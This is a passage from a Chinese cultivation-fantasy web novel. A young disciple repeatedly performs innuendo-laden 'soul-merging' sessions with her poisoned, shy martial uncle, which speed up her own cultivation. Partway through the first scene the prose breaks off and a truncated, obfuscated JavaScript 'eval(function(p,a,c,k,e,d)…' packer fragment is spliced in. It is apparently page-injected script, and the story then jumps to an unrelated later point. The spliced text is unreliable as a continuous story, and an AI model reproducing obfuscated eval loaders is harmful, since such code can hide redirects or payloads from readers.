可是那双漆黑的眼睛看向他时闪闪发光,流露出快乐的神采,似乎因为与他见面而感到非常开心。 景雍无法拒绝这样的目光,为她打开了门。 贺流虹飞快地走进去,向他捧上一束在外面刚摘的野花,一脸诚恳:“师叔,对不起,那天是我不知轻重,明知道你已经承受不住,还继续对你……” “不要再提了。” 景雍背过身去,抵抗不住她的心直口快。 一见面就旧事重提,生怕他记得还不够清楚。 他好不容易从那晚平复下来的心情,此刻又翻涌起复杂情绪。 贺流虹开心地笑起来,这个意思就是既往不咎,将那晚的事情揭过去咯? 想想也是,那天她也不是故意的,真要是算起帐来,她也是被逼无奈,明明是对方先抱着她不放,求她帮忙的。 她只是太过热心,才会让美人损耗严重。 她把手上那捧花递过去,笑得眉眼弯弯:“那师叔收下我的赔礼吧,你知道的,我太穷了,拿不出什么好东西,只能借花献佛了。” 景雍回过头,瞥了一眼她手上的“赔礼”,越看越眼熟。 是他闲暇无聊之时随手种在洞府里的。确实是借花献佛了。 贺流虹见他神色有异,失望道:“小师叔,你不喜欢吗?” 他望着少女微微耷拉下来的眉眼,生出一丝愧疚。 她还这么年幼,连二十岁都不到,能记得给他赔礼,已经很懂事体贴了。 他怎么能自恃长辈身份,给对方甩脸色。 “我很喜欢,你有心了。” 他转过身来面对着她,双手接过那些花,认真开口。 贺流虹满脸动容,坚定开口:“师叔,我保证,下次我一定温柔周到,注意分寸,绝对不会再把你弄晕过去。” 景雍欣赏着手上的花束不到五秒,又开始后悔放她进来了。 “帮我找一个花瓶过来吧。” 他借口支开这个坦率的少女,避免对方嘴里蹦出来更多让他面红耳赤的话。 贺流虹“哦”了一声,跑去翻箱倒柜找花瓶。 景雍见她终于背过身去,不知为何有种如释重负的感觉。 他趁机深吸了几口气,让自己镇静下来,低头瞧了眼身上,又觉得穿得太薄,领口好像也敞得也太开,实在没有什么身为师长的威严。 “找到了,就用这个吧,颜色跟师叔今天的衣服很配……” 贺流虹抱着一个颜色素雅的花瓶转过身,冷不防就瞧见师叔身上多了件厚重的外套,将漂亮的锁骨和手腕间莹白的肌肤挡得严严实实。 她愣了一下,有些摸不着头脑,洞府里也不冷啊,堂堂化神期大修也会虚成这样吗? 难道她那天真的下手太重,把美人弄坏了。 她不敢多说,抱着花瓶默默走过来,把那些外面随手摘的野花往里放。 景雍正襟危坐,余光一刻未歇地留意着她的动作,手上翻开那本书。 贺流虹胡乱摆弄着花瓶,也在趁机打量对方。 她瞧来瞧去,也不见这小师叔有什么过分虚弱的样子,倒是唇若施脂,面若桃花,散发着生动迷人的味道。就像这花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他本能地顺着她的话摇头拒绝道:“不,不行,我,我还有些不舒服,需要再休养几日。” 贺流虹歪着脑袋,忧心忡忡地盯着他的脸仔细瞧了一会儿,略有些遗憾地说:“那好吧。” 景雍偏过头,盯着窗外树上乱颤的花枝,抿紧了鲜艳漂亮的唇瓣。 贺流虹还在他耳边继续宽慰道:“没事的小师叔,掌门都说了,一切以你的身体为重,天玄宗的未来可都维系于你一人。” 他的脸因为羞愧而染上薄红。 其实他神魂的损耗并不十分严重,早就恢复如初。 但他还是平生第一次撒了谎。 他并不厌恶和眼前的少女接触,但是对方的每一次靠近都让他心惊胆颤,莫名地感到紧张。 尤其是在经过那晚以后,只要一想到他那时躺在她身下失神颤抖,浑然失去自制,暴露出最丑陋□□的姿态,他就会格外羞耻不安,恨不得再也不要见到她。 如果掌门师兄和长老们知道,他竟出于这种原因不断推迟解毒的时间,辜负师门对他的期许,一定会很失望。 他想自己现在一定看起来很心虚窘迫,偏偏对面的少女仍注视着他。 他真想捂住对方那双充满好奇的眼睛。 贺流虹眼巴巴看了他一会儿,确定今晚是没希望了,明天后天也没希望,这一趟白跑了。 回去之前,只能多看两眼美人回个本。 窗外满树鲜花盛放得绚烂,映得美人容色格外昳丽,如玉的脸颊染着花朵般鲜艳的红晕。 那清冷的神情出现在这张旖旎艳色的脸上,并没有任何拒人于千里之外之外的效果,反倒增添了一种欲拒还迎的味道。 贺流虹回想起他那晚缠着自己不愿意放手的样子。 22-30 第22章 第22章这次也是你主动求我的哦…… 景雍抬手摸了摸自己发烫的耳尖,勉强稳住轻颤的呼吸声,温和开口:“我境界不稳,需要调息片刻,你不必担心,只管在外间做自己的事。” 贺流虹听到里面传出平静如常的声音,松了口气,原来是要调息,虚惊一场。 差点以为夸得不到位,她发誓,那些话句句都是肺腑之言。 既然没什么问题,贺流虹就捧着刚被塞到怀里的珍贵古籍,回到昨天的位子上,继续认真誊写起来。 她在凡间界没什么识字的机会,好在这里的文字和她没穿越前的有些相像,连蒙带猜也能认出一些。 后来到了修真界,厉害的功法秘籍难得,但普通书本画册还是很容易获得的,她平时忙完,挤出时间磕磕绊绊总算把这个世界的文字给认全了。 贺流虹抄写这些书的时候,顺便就把上面的内容看了一遍,毕竟也没说不准她看。 这么珍贵的前人修炼笔记,外面有钱也买不到,很快她就像昨天一样,有种顿悟的感觉,灵气以极快地速度聚拢在丹田,境界又往上提升了一些。 这个修炼速度让她有些上瘾,浑然忘却身处何地,今夕是何年,也忘了刚才还惦记着的小师叔。 景雍倒是没有说谎,他确实需要调息打坐。 迷情散确实只会让中毒之人修炼阻滞,并不会直接让人境界跌落,但很少有人能遭遇此事之后保持道心稳固。 道心一动摇,境界跌落就是难免的事。 自从中了迷情散,他的心境有所变化,后来贺流虹来到神月峰,他的心就更是很少恢复成从前的平静安宁。 心境起伏不定,境界也就变得不稳定,只能小心仔细,勉强维持。 短暂的调息结束,他感到心境平和很多,头脑也冷静很多,不再因为一个小弟子的夸赞而意乱情迷。 外面静悄悄的,对方应当早已离开。 他悄无声息释放一缕神识探查,透过意识传来的画面朦朦胧胧隔着一层雾。 从他的视角看过去,少女安静坐在自己的位置上翻看一本残卷,只有书页翻动声和浅浅的呼吸声,偶尔有笔尖划过纸页发出的轻微摩擦声。 景雍下意识想,她明明看起来这么温顺无害,为什么要对他做那种过分的事情。 即便一定要那样做,难道就不能温柔一点……想到这里,他的心境又差点起了波动,连忙闭上眼睛重新打坐调息,将那些不该有的想法统统赶出脑海。 再次睁眼,他看了看时辰,已经很晚了,起身走出内室。 贺流虹还没走,正拿着最后一卷功法注解伏在桌上奋笔疾书,压根没有发现等了很久的小师叔终于舍得露面。 景雍放缓脚步走到她身边,出声提醒:“时辰不早了,誊写之事不必如此匆忙,先回去歇息吧。” 他还记着自己将她吓到的事,所以很小心地用上最温和的语调。 贺流虹沉迷学习流连忘返,翻了下剩余的页数,精神抖擞地说道:“没事的师叔,我还不累,等我把这本抄完。” 景雍便不说话了,安静地听着鼻尖摩擦纸页发出的沙沙声, 室内只有彼此偶尔重叠的清浅呼吸声,窗外明月皎洁。 他看了一眼透过窗户洒在地板上的月光,心意一动,月光便温柔地照在伏案书写的少女身上。 不知过了多久,又听少女情真意切地说道:“师叔,你这么完美,一定能解开迷情散,顺利飞升的。” 他只好低着头,装作查看她誊写的内容。 贺流虹复盘了一下今天的表现,该夸的都夸了,该送的祝福也都送了,誊写任务也圆满完成。 怎么说也该有些成果了。 她偏过头来观察美人的反应,虽然瞧不出明显的高兴,但是也不像是生气的样子。 她放下心来,揉揉胳膊捶捶肩膀,站起来和对方告别:“那我就先走啦。” 景雍欲言又止地看了她一眼,心想她怎么没有下文了。 难道受了他的恐吓,心里还在害怕,明天再不敢来了么。 贺流虹慢吞吞走到门口,还是忍不住回过头,问:“明天还要我帮你抄写吗?” 景雍等到这句话,暗自松了一口气,道:“要是你不喜欢,可以换……” “我喜欢我喜欢,我很喜欢!” 贺流虹连连强调,丢下一句“那明天见”,一溜烟跑了。 景雍在月色下徘徊,静谧的内心时而泛起涟漪,又被他强行安抚下去。 后来几天,仿佛是怕他不信,心直口快的小弟子反反复复将那些令人面红耳赤心头发热的话语挂在嘴边,“很漂亮”,“很棒”,“很可爱”,“很喜欢”…… 有几次他忍不住去仔细看她的眼睛,想知道她到底是不是像外面那些人一样故意谄媚奉承。 他把她想得太糟糕了,那双眼睛里没有任何虚情假意,只有热切赤诚的光,明亮灼热。 之后,她又多了一些别的说法,说与他神魂交缠时很快乐,说能帮到他很开心。 说下次彼此神魂交缠之时,一定不会再没轻没重,没完没了。 景雍一边耳根发烫,一边暗暗地想,或许她真的不会再像上一次那样肆意妄为不知轻重,而是会小心一些,对他温柔。 想到这里,他好像没那么害怕再次和她亲近。 贺流虹又一次意味深长地问他:“小师叔,明天你的身体会休养好吗?” 他用很轻的声音应了一声:“嗯。” 贺流虹高兴地差点跳起来:“太好了!” 然后又一溜烟飞奔出去。 景雍还想说点什么,一回头,人已经没影了。 贺流虹激动地跑回去和自己的“智囊团”们分享消息,经过多日以来的各方面努力,她终于化解了小师叔对她的偏见,他们冰释前嫌了。 宁逢为她煮了一大碗补汤,让她养精蓄锐。 “把握机会,争取这次再创佳绩,一夜七次!” 边上有医修不满足于此,纠正宁逢的说法:“不,一夜十次!” 反正现在他们都知道了,神交并不会对贺流虹造成损伤,反倒能够起到比仙丹妙药更大的作用。 这种好事自然是多多益善,既能洗精伐髓脱胎换骨,助益修炼,又能早日带领大家一起离开神月峰,不必再行动受限。 贺流虹想起上次只完成了五次,心中也颇为遗憾。 但是好不容易哄得小师叔松口答应继续,为了以后都能顺利,她还是应该克制谨慎一些,不能图一时之快。 她在心中做好决定,第二天就兴冲冲去了上次那栋小阁楼门外。 又是上次那四位大乘期的太上长老,不过法阵还没有结成,长老们正在凝神忙碌,协力合作为这栋小楼布下重重防护。 昨天她走得太急,没来得及听景雍细说,所以来得不巧,没想到神交之前还需要如此大的阵仗来进行准备工作。 神交时最容易被敌人趁虚而入,景雍又刚破坏了上古万年大妖的出逃计划,将其直接斩杀,妖族必定怀恨在心,伺机报复。 就算妖族如今衰弱,没机会潜入,说不定也会有其他仙门忌恨天玄宗拥有修真界第一人,跑过来搞破坏。 所以天玄宗必然是要慎重对待,防护得再严密也不为过。 贺流虹在旁边津津有味地围观大乘期修士结阵,目光在场上搜寻一圈,有些意外,掌门今天居然不在场。 见惯了掌门给自己师弟当管家鞍前马后的样子,忽然不见人影,真有点不习惯。 今天是丹药阁阁主代替掌门来此主持准备工作,不过她看起来松懈多了,叉着腰晃来晃去,见 到贺流虹,还悠闲地过来闲聊天。 贺流虹蹲在一棵树下面,远远望着快要结成的法阵,趁机向阁主打听:“五师叔,这法阵真的能拦住妖邪吗,万一妖邪闯进来,我会不会死啊?” 阁主抱着胳膊靠在树上,道:“放心吧,这四位是咱们天玄宗的太上长老,连我和掌门都要尊称一声师叔祖,要不是琼华师弟有难,这四位谁都请不动。” 贺流虹说:“所以有他们镇守,妖邪根本就没机会伤到我和小师叔?” “别说是伤到你二人,但凡敢接近,就能被察觉出气息,当场就魂飞魄散了。” 贺流虹道:“那我就不怕了。” 两人聊完,法阵也布好了,大乘期修士悄无声息将身影隐没。 阁主说道:“我去通知琼华过来,你可以先进去等着。” 她说着,身影便也消失不见。 贺流虹站起身来,在原地踌躇,拍着身上并不存在的灰尘。 隐约间,她感应到头顶上方赫赫威严的目光投来一瞥,身上起了一层鸡皮疙瘩,连忙抬脚朝那栋楼走去。 在法阵的入口,她又慢下脚步,屏住了呼吸,试探着伸出一根手指头,朝那些不断流转变幻的符文轻轻戳了戳。 一切都很正常,没有出现上次那异常不妙的妖气。 她松了一口气,表情坦然多了,大摇大摆地走进法阵,推开门进入屋中。 小师叔还没来,她漫无目的地四处逛了逛,空间很小,一览无遗,仿佛是为了进一步杜绝藏匿危险的可能。 上次那张软塌又恢复了整洁,贺流虹想了想,在储物袋中找到一只大抱枕,放在榻上。 这只抱枕是她平时在野外休息时使用的,不过这次拿出来倒不是为了抱着它睡觉。 身后掀起一阵微风,门又被推开。 景雍走了进来,看清她的身影,顿在门口,像是没想到她会提前等在这里。 贺流虹放下那只又大又圆的抱枕,和他打招呼:“小师叔,你站在那儿干什么,快过来呀。” 景雍瞥了那只枕头一眼,有些不知用意,但还是只能在她的注视下走过去。 贺流虹拍拍身边的床榻,又道:“快坐。” 景雍瞧见床榻上洁白如雪的绒毯,脑海里又不受控制地浮现出叫人脸热心跳的画面。 他下意识就想要提议换个地方,但张望一圈,屋子里除了那扇屏风,只有一桌一椅,可以说是空空荡荡。 贺流虹歪了下脑袋,“小师叔,你在看什么?”紧接着又警铃大作:“该不会是有妖邪入侵吧?” 虽然她自己就有点不对劲,但是这丝毫不耽误她觉得有妖邪要害她。 景雍见她疑神疑鬼惴惴不安的神态,赶忙说道:“无事。”然后在她身边坐下来。 贺流虹却不像上次那样紧挨着他,而是往旁边挪了挪,拉开一段距离。 他五指在袖中默默收紧,犹如被人迎头泼了一盆冷水,只觉得对方说的那些“喜爱”“快乐”都是假话,她果然也不想再看见他那副堕落□□之态。 外面传来丹药阁阁主的声音:“那个小贺,琼华,你们开始了没啊,我赶着回去尝试新丹方呢。” 贺流虹下意识回答道:“马上。” 阁主还在催促:“夜长梦多,你俩赶紧啊,又不是洞房。” 贺流虹:“马上马上。” 景雍轻声提醒:“她听不到。” 贺流虹觉得这不是重点,重点是确实得赶紧了,有这磨磨蹭蹭的时间,孩子都生下来了。 她像上次一样脱下碍事的外套,只穿着清凉的两层薄衫,口中不忘提醒对方:“你也快脱吧。” 免得待会儿又喊热,又喊着让她来帮忙。 景雍攥着领口的那条衣带,半天没有动作,过了会儿,沉沉开口:“这次你不许再乱来。” 他以为只要用上最沉静的口吻,就能让这句话背后隐含的暧.昧消失。 可是耳尖还是偷偷红了。 贺流虹浑然未知,并且很认真地点头:“我绝对不会了。” 她还是能够分得清重点的,尽快完成剩下的四十四次神交才是目的。 至于对方说的“乱来”,那都是添头,有没有其实无所谓,上次要不要他缠着不放,她必定会正直到底。 可是这样一个美人边哭边求你帮她,换成哪个一生善良热心助人的好人能忍心拒绝呢。 她说完就把那只抱枕拿过来,挡在了两人中间,胸有成竹地说道:“小师叔,你待会儿要是想抱住点什么东西,就抱它,有什么冲动,忍忍就好了,多余的事咱们这次一件都不做。” 她强调道:“你放心,只要你能忍住,我绝对不会乱来的,我们只会有纯洁正直的精神交流。” 景雍望着横亘在两人之间的草绿色抱枕,明明应该庆幸两人想到一块去,但心情却有些微妙的消沉。 贺流虹盯着他放在领口的手,沉默了两秒,道:“你怎么还不脱?” 不是她事多,是经过上次之后,她实在有些信不过这位美人的自制力,平时看着怪冷淡的,但是禁不起什么挑逗和玩弄。 万一到时候神魂交融到一半,又抓着她的手不放,一定要和她拉拉扯扯,求她帮忙,那她到底是帮还是不帮呢? 不帮不好,怎么说也是同门师叔。 尽心尽力出手帮忙,一番劳累,又要说她乱来。 师门交给她的这项工作真叫人左右为难。 最重要的是她就算帮了,也是白出力气,一块灵石的奖励都没有,有这力气还不如去野外多打几只耗子精。 她摇头默默叹气。 景雍终于还是在她的监督之下解开了外套。 那外套威严厚重,里面的衣服却轻薄素淡,在灯珠映照下衬得肌肤若雪眉目如画,隐约可见布料下面莹白如玉的肌肤。 贺流虹扫了一眼,就若无其事地移开目光,一脸严肃地说道:“师叔,长老们还在等着,我们快些开始吧。” 两人盘着腿对面而坐,中间是一只勉强将彼此隔开的抱枕。 贺流虹看着他的眼睛,再次开口礼貌提醒:“师叔,待会儿你要是又受不住,就抓着这只枕头。” 她打定主意这次一定小心谨慎,免得事后掌门又惊呼她将天玄宗的镇宗之宝折腾坏了。 她虽然已经到了练气后期,但是面对化神期的小师叔,神魂依然可以称上一句细弱不堪。 上次也正是因为这一认知,她的神魂在对方的意识海中相当肆意妄为,以为掀不起什么风浪。 这次她总结经验教训,慢慢将脑袋靠过去,轻轻触碰对方前额,神魂缓慢钻入对方的眉心,一条小鱼一般丝滑轻巧地溜入那片属于化神期大修的意识海。 景雍感受到她的温柔,紧绷的精神舒缓下来,静静潜藏在意识海中的神魂化作浪潮,托住那一缕细弱但活泼的的神识,共同徜徉。 贺流虹这次非常规矩,知道那便是化神期修士的神魂,强大而无形,无处不在,时刻主宰着这片意识海。 遇上那似乎将她吞没的巨浪,她心中有数,知道不会有事,所以也没到处乱窜企图远离,而是调动神识,亲亲热热地贴上去。 彼此神魂交融之中,她感受到了自身精神海也仿佛焕发生机,受到充分涤荡,强大许多。 除了神魂方面的变化,她记着医修们说的话,仔细留意观察着自身,和谷主说的一样,对方的神魂力量除了使她神识壮大,还在一点点替她清除经脉中的阻滞。 虽然有微微的刺痛感,但更多的是一种身心越发轻盈的畅快感。 天地间的灵气以越来越快的速度流经经脉,汇聚在丹田,整个人有种既充实又飘飘欲仙的感觉。 再加上神魂徜徉在那片宽广温暖的识海,如同置身美妙梦境,身心一时间得到极大的满足。 她只感觉刚闭了闭眼,再一睁开,就已经到了子夜时分,不知不觉间就过去了好几个时辰。 贺流虹依依不舍地离开对方的识海,收回神识,身心传来前所未有的畅快之感,深深地为之着迷。 景雍垂着眼,紧抿着嘴唇一言不发,胸口剧烈起伏,手指紧紧攥住抱枕的边缘。 贺流虹见他还算平静,没有像上次那样露出深陷情.潮意乱神迷的姿态,放下心来。 看来这迷情散所伴随着的情毒并不是每次都会发作,也不是每次发作都很厉害。 她看了眼天色,这才刚过去上半夜。 漫漫长夜还剩一半,总觉得还适合再来个下半场。而且也没说白天不适合神交啊。 既然她和小师叔两个人状态都很好,都还有余地,外面的法阵准备一次也要花不少时间,就这么结束了实在可惜。 她往美人身边挪近了些,小声道:“师叔,我好喜欢和你神交,我们再来一次,好不好?” 景雍的身体僵硬了一瞬,藏在身体深处的欲.念早已化作火焰将他烧得浑身滚.烫。 他很确定,只要一开口,就会溢出不知羞耻的声音。 他不能再像上次那样了,在对方眼里看来,那样的姿态想必极尽的可耻浪.荡,哪里还配得上喊一声“师叔”。 贺流虹见他无动于衷,有点着急。 她实在舍不得放弃这么好的机会,舍不得彼此神魂勾连时的畅快滋味。 于是无赖一般地胡搅蛮缠道:“小师叔,再来一次吧,再来一次好不好,我好喜欢待在你的意识海里,让我觉得我们特别亲近,我好高兴。” 就在她真假参半胡言乱语哄劝对方的时候,聚拢在丹府的灵气越来越多。 她能感觉到,还差一点点,只差一点点,就能再次突破。 只要再来一次,灵气就能在她经脉流转得更加顺畅,吸纳天地灵气的速度也会更快更简单。 她目光灼灼,情真意切:“真的好喜欢好喜欢!小师叔,你就算不急着提升修为渡劫飞升,那你就不能照顾照顾我这个可怜的师侄吗?” “漂亮的小师叔,惹人喜欢的小师叔,我最喜欢的小师叔,求求你了……” 景雍被她缠得没有办法,再加上短暂的休息让他缓和很多,于是他低低地应了一声:“嗯。” 贺流虹觉得这声“嗯”简直是世界上最美妙动听的声音。 她猜得一点都没错,美人小师叔在神月峰待久了,不知人心险恶,耳根子软。 这样的小师叔确实够惹人喜爱的,她更加温柔小心地进入了对方的意识海。 第二次结束得很快,贺流虹精神焕发,感叹这修真界的精神交流好神奇,莫非这就是神魂契合带来的非同一般的享受。 难怪都说精神上的愉悦才是最高级的愉悦,是低俗的生理刺激难以比拟的。 她有点上瘾了,凑过去抓着小师叔故技重施,装乖卖惨。 景雍的呼吸越来越急促。 贺流虹俯身凑到他眼前细瞧他的脸时,他唯恐被她看见眼底翻涌的情绪,只得紧紧闭着眼睛,连一个最简单的“嗯”字也不敢发出,只轻轻地点了下头。 贺流虹兴致勃勃地开启了第三次。 神交的结束与否,取决于彼此的心意,或者说是取决于更能掌控这场精神交流的一方。 贺流虹算算次数,忙活一晚上才第三次,这效率可太低了,什么时候才能解救师门的这场危机。 所以她一次比一次结束得匆忙。 即便那汹涌的浪潮越来越用力地缠绕住她,想要将她挽留在其中,将这场最高级的精神享受继续下去,她还是毫不留情地强行停止,撤出神识,畅快地叹了口气,感慨道:“舒服。” 定睛一看,她的神交对象已经摇摇欲坠,心口剧烈的起伏着,白皙修长的脖颈也染着一层薄薄的粉。 贺流虹看得愣住,不确定地问:“你的情毒又发作了吗?” 她还以为经过上次的教训,那群长老已经想办法重新压制住他的情毒了。 要是每次都发作,那她可就有点不乐意了。 毕竟当初抓她来神月峰的时候,只说了让她完成四十九次神交,可没说还让她包解情毒的。 她一个人打两份工,一边忙着照看对方的意识海,一边还要顾及对方的身体,是真正的身心俱疲。 可是连一毛钱的工资都没有,这非常不合适。 对面的美人并没有回答她的疑问,不知是意识模糊到没听清,还是压根就失去了开口说话的力气。 美人满面红.潮,紧咬着嘴唇,汗湿的乌黑发丝沾在漂亮的脸颊上,眼睫轻颤,朝她看过来时,闪烁的泪光中透出深深的压抑,以及难以启齿的渴.望。 贺流虹和他四目相对,蠢蠢欲动。 但又不敢轻举妄动。 怕他之后又要说她乱来。 景雍模模糊糊看见她坐在那里像一件雕塑,忍不住生出一丝怨念。 怨她无动于衷,毫无反应。 不是说过很多次“喜欢”吗? 不是说觉得他难耐哭泣时的样子都很惹人喜爱吗? 为什么还能镇定自若地坐在那里,面无波澜地看着他露出丑态。 难道……就一定要逼他露出最轻贱的样子,主动求她,主动将自己送到她手上? “不要……不许用这种眼神看着我……闭上……” “看着我,求你了……帮帮我……” “过来帮我……求你……” 贺流虹听着他自说自话,一会儿“要”,一会儿又“不许”,像个昏庸无道的帝王朝令夕改,又像最低级原始的动物受制于本能,皱紧眉头。 她将那团抱枕拿起来,塞到他怀里,挡在两人之中间,以防他像上次一样缠上来。 缠上来也就算了,到时候又说她乱来。 她想得很天真,正在受折磨的美人需要的不是一个可以紧紧抱住的死物,而是眼前人温柔的触碰。 抱枕是不能替代体温的,立刻就被恨恨地扔到一边。 贺流虹猝不及防就被一具火.热的身体扑了上来。 她稳住身体,用力抓住对方肩膀,连表情也越发凝重。 真该带块留影石进来,将这一幕录下,留下铁证,之后也好证明,绝不是她乱来,而是美人主动投怀送抱。 她试着推开他,拉开距离,没有效果,对方像是黏在了她身上。 景雍感觉到她推开自己的动作,怀着幽幽的怨念,身上和心里一起燃着快要将他焚烧殆尽的火,不依不饶地反过来推了她几下,想要将人扑倒。 然而他浑身热潮翻涌,绵软无力,看起来就像是缠她缠得急切,越是推她,越是像要迫不及待将自己送到她的手上,任其亵玩。 贺流虹既不会被他扑倒,也无法和他保持距离,掌心隔着一层衣料,感受到源源不断的热。 她索性又趁机抵上他额头,意识钻入他眉心,再次进入他的识海,开启了第四次神交。 “小师叔,记住你现在这副样子,这次也是你主动求我的哦。想让我帮忙当然没问题,但是必须按照我的来。” 景雍恍惚间只听见她略带讥诮的语调,除此之外,耳边只剩彼此交缠在一起的呼吸和心跳声。 他什么都分辨不清楚了,只知道自己想要靠近她,不能没有她。此时此刻,她就是自己唯一的救赎。 他唯恐自己又要被无情推开,急忙主动送上鲜红柔软的唇,笨拙又热烈地亲上去。 …… 第23章 第23章多看两眼怎么了 这一夜漫长而混乱。 贺流虹获得了大丰收,充分践行助人为乐的原则,第四次之后,又反反复复帮助敬爱的小师叔好几次,如愿达成了一夜七次的伟大目标。 结束之后,她从令人上瘾的快乐中恢复了理智,清楚这次又过火了。 她忍着灵气充裕的丹田处传来的隐隐刺痛,悻悻地收拾好作案现场,熟练地帮美人换上干净衣服。 左右张望一圈,没有人要拦下她的意思,于是她吸取上次的教训,在有人进来查问情况之前,手痒地捏了捏美人的漂亮脸蛋,然后飞快地扬长而去。 景雍半睡半醒间,朦朦胧胧瞧见那道身影做贼似的 溜走,终于彻底昏睡过去。 贺流虹自然不知道还有这回事,她以为小师叔早就人事不省了,如果她知道对方还有意识,捏脸的动作一定会温柔一点。 回到住处,她就立即闭关修炼,消化这次积攒在丹府的灵气。 医修们有了上一次的经验,这次淡定许多,已经提前商量起怎么为贺流虹庆祝。 灵气流动的速度逐渐加快,波动越来越明显,几天之后,伴随着一阵欢呼,贺流虹就这么突破到练气九层,紧接着又成功筑基。 两次突破几乎是接连出现的,筑基的过程顺利到不可思议,连谷主看过了都说连最顶尖的天生道体也难以做到如此丝滑顺滑,没有出现任何波折。 贺流虹感觉像做梦一样,本来觉得七十岁前筑基成功就算她厉害,八十岁带着赚到的灵石和健步如飞的身姿回凡间界养老,也算是急流勇退,衣锦还乡。 现在这么一看,如果她想冲击一下金丹期,也不是没希望啊! 至于再往后,贺流虹还没什么想法。 从筑基到金丹,再到元婴,化神,合道,大乘,难度节节攀升,金丹已是难得,能在天玄宗这样的大宗门里做上一堂之主,再往上就更是珍稀物种。 掌门景离难道就不是天才吗,还不是困在化神期几百年。 像琼华真人这般不到两百年就修炼至化神后期的天道宠儿,毕竟是千年难遇,修真界已经几千年都没人能走到渡劫飞升那一步了。 贺流虹心想她怎么就没这种好运气。 不过上天为她关了门,又给她开了一扇大落地窗,虽然是五灵根,但她还有救!丹药阁的五师叔都说了,五灵根也是能进化的! 宁逢带着医仙谷一群医修做大餐,食材是谷主提供的灵植,为贺流虹庆祝筑基成功。 正高兴着,丹药阁阁主就来了,感应到这里有人筑基,除了贺流虹也没别人了,所以赶过来送固元丹,让她巩固境界。 贺流虹好奇打听了一句:“掌门怎么了?”上次急匆匆走了,之后就再也没过问神月峰的事。 阁主瞥了在场的医仙谷弟子们一眼,含糊道:“你管这些做什么,这不也没耽误你筑基么。” 贺流虹心想那倒也是,师兄在不在没关系,师弟在就行。再说了,师弟看起来更好糊弄,有师兄反而碍事。 阁主不知道她想什么想得那么开心,一双黑漆漆的小狗眼笑得弯弯的,“你这次突破的速度好像更快了,我来为你检测一下根骨。” 贺流虹连忙说好。 检查结果不出意外,比起上次又进一步提升了。 阁主意味深长地看她一眼,谁能想到刚开始以为会拖后腿的小弟子,现在一天天生龙活虎,神清气爽,反倒是半步飞升的琼华师弟,气若游丝。 阁主都不好意思再回想那天进去探望师弟时的场景,衣服穿得再整齐有什么用,脸红成那个样子,嘴唇肿了,脖子上还有咬痕,就跟谁瞧不出发生过什么似的。 她就说吧,神交就是听着高雅脱俗,没人能忍住不顺道再来点什么。 她看着贺流虹的目光里带上几分敬佩,不知道这小弟子是怎么做到把自己的师叔折腾成那样的。 她清了清嗓子,一本正经地劝道:“我知道被困在神月峰有些无趣,但你也别太着急,看在你师叔人傻又貌美的份上,多顾及一下他能否承受得住。” 贺流虹一脸老实地点头:“弟子知道了,一定谨记师叔教诲。” 有了这一出,贺流虹确信自己上次的行为又留下了不少后患。 和宁逢她们嘻嘻哈哈庆祝过一晚之后,她在第二天一早收拾好自己,摆出了诚惶诚恐的姿态,去了景雍那里。 隔着一段距离,她远远瞧见那扇窗开着,隐约能瞧见美人身影,当即心中一喜。 等她加快脚步走到窗下,正要招手,那扇窗“砰”的一下关上了,好似关慢一秒就会被她顺着窗户爬进去“乱来”。 “哎。” 贺流虹蹲在窗户下面,托着下巴叹气。 她就知道,这是又被过河拆桥了。 下次说什么也要带上几颗留影石,让这人好好瞧瞧她是多么被迫,多么无奈才出手帮忙的。 “师叔?小师叔?” “又生气了吗我美丽的小师叔?” “你做人不能这样吧,当时我都说了不行的,我拒绝你了对吧?是你一直逼迫我。” “你是师叔,是化神期的琼华真人,我只是一个刚筑基的小弟子,我怎么敢违抗你的命令呢。我这是不忠不义啊。” 贺流虹蹲在窗户下面替自己喊了一会儿冤,感觉没什么效果,还挺浪费时间。 她又缓了缓语气,讪讪笑道:“其实没别的意思,我就是来跟师叔分享一下筑基成功的喜悦。师叔要是有事,我就不打扰了,我下次再来。” 说完她就站起来走了。 在她离开不久,窗户打开一道缝隙,一双美目透过窗户缝隙偷偷往外张望,神情复杂,直到那道瘦削挺拔的背影彻底消失在视线中。 贺流虹回去之后又开始打坐修炼,刚刚筑基,境界还不够稳定,多空出些时间来巩固一下境界也挺好的。 筑基之后,丹府内的混沌状态会慢慢改变,灵气凝结在其中,日复一日,最后凝成修士的金丹。 从练气到筑基,贺流虹体会到的感觉并没有太大不同,只有丹府的存在感更强烈,她的意识也能够沉入丹府内部,近距离观察灵力在其中运转的过程。 然而从筑基到金丹,寿数和修为都会迎来大幅度提升。 金丹修士与金丹期以下的修士之间的实力差距,比人和狗都要大,金丹真人可以像碾死一只蚂蚁一样除掉一个刚筑基的修士。 虽然才刚刚筑基,但是贺流虹已经开始有点馋金丹了。 她试着将意识沉入自己的丹府,看着灵气混乱而又充满秩序地在其中流转。 她的意识追随着迅速流转的灵气,练习控制它们流转的方向和路径,试图在丹府内创造出属于金丹的雏形。 这一修炼,就不知不觉又过去好几天。 贺流虹睁开眼,竟是又不知不觉突破到筑基二层。 只是她仍然没能在丹府内凝成金丹的雏形,有点不满足,还想再继续,只是筑基期的身体还做不到吸风饮露就能活下去,几天不吃不喝让她有点疲累饥渴。 为此她不惜痛下血本,拿出平日舍不得吃的辟谷丹。 像这样一颗下品辟谷丹,吞下去后连续一个月都不用再进食。 如果是上品,几十年不吃不喝也不成问题,是闭关清修的绝佳伴侣。 她刚准备送进嘴里,外面就传来宁逢见了鬼似的声音,压着嗓子幽幽道:“不好了,你师叔找上门了。” “啊?哪个师叔?” 贺流虹下意识以为是丹药阁阁主,可宁逢那诧异中略带惊恐的语气又实在不像是见到丹药阁阁主的反应。 那就只能是她那美丽又爱过河拆桥的小师叔了。 这种时候主动找上门,该不会是退一步越想越气,憋不住来找她算账吧? 完了,她也有点惊恐了。 她盯着手上的辟谷丹,心想幸好还没吃。 打开门后,宁逢塞给她一颗绿色的药丸,说:“你先把这个吃了,这是师父最新研制的,万一你师叔暗中对你下手,这药能帮你挡一波攻击。” 贺流虹怔住,“这,这不太可能吧。我死了伤了,他还飞不飞升了。” 